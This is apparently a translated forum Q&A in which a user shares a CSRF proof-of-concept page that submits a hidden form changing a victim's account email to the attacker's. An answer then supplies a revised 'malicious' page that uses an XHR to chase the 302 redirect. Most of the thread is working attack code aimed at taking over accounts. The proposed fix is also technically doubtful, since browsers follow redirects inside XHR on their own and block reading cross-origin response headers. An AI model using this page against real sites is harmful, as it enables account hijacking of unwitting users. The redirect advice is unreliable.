我已经建立了CSRF PoC:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="[email protected]">
<input type="submit" value="submit">
</form>
</body>
</html>
但是当我运行代码时,它不起作用!我检查了请求,发现请求的状态码为:302
谁能告诉我为什么会发生以及如何解决它!谢谢!(对不起,英语不好,抱歉)
状态代码302是3xx代码:这是redirect status codes的族。更准确地说,status code 302表示资源已从请求的URL临时移动到另一个URL。此状态代码在HTTP 1.0 specification中引入,并在HTTP 1.1 specification中被状态代码303代替。
[当获得状态码为302的HTTP响应时,您还将获得带有URL作为其值的Location标头:这是您重定向到的URL。大多数浏览器会自动执行此操作,并向新URL发出相同的请求,但实际情况可能并非如此。
在这种情况下,我假设您的CSRF的工作方式如下:
这里的问题是,您要将表单发送到一个URL,该URL会给您另一个URL,这是您应该在其中发送表单的位置。但是,该请求必须来自用户的浏览器,才能发送其cookie。
解决此问题的一种方法是弄清楚重定向URL是否始终相同,并将该URL硬编码到您的表单中,而不是原始的URL中。另一种更安全的方法是以编程方式(例如,使用XHR getResponseHeader)恢复此URL,然后将请求发送到重定向URL。
后一种方法可以如下实现:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form id="malicious" action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="[email protected]">
<input type="submit" value="submit">
</form>
<script>
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 && XHR.status == 302) {
// Send the form again to the correct URL
const redirectURL = XHR.getResponseHeader("Location");
document.getElementById("malicious").setAttribute("action", redirectURL);
}
}
// Get the redirect URL
XHR.open("POST", "https://website.com");
XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XHR.send("utf8=✓&email_address[name]=hacker&email_address[address][email protected]");
</script>
</body>
</html>
我用httpstat测试了此实现,该生成的响应带有所需的状态码。当用户按下提交按钮时,表单应该被提交到正确的URL。此[[does假定您确实在获取302代码,并且浏览器/工具未执行自动重定向!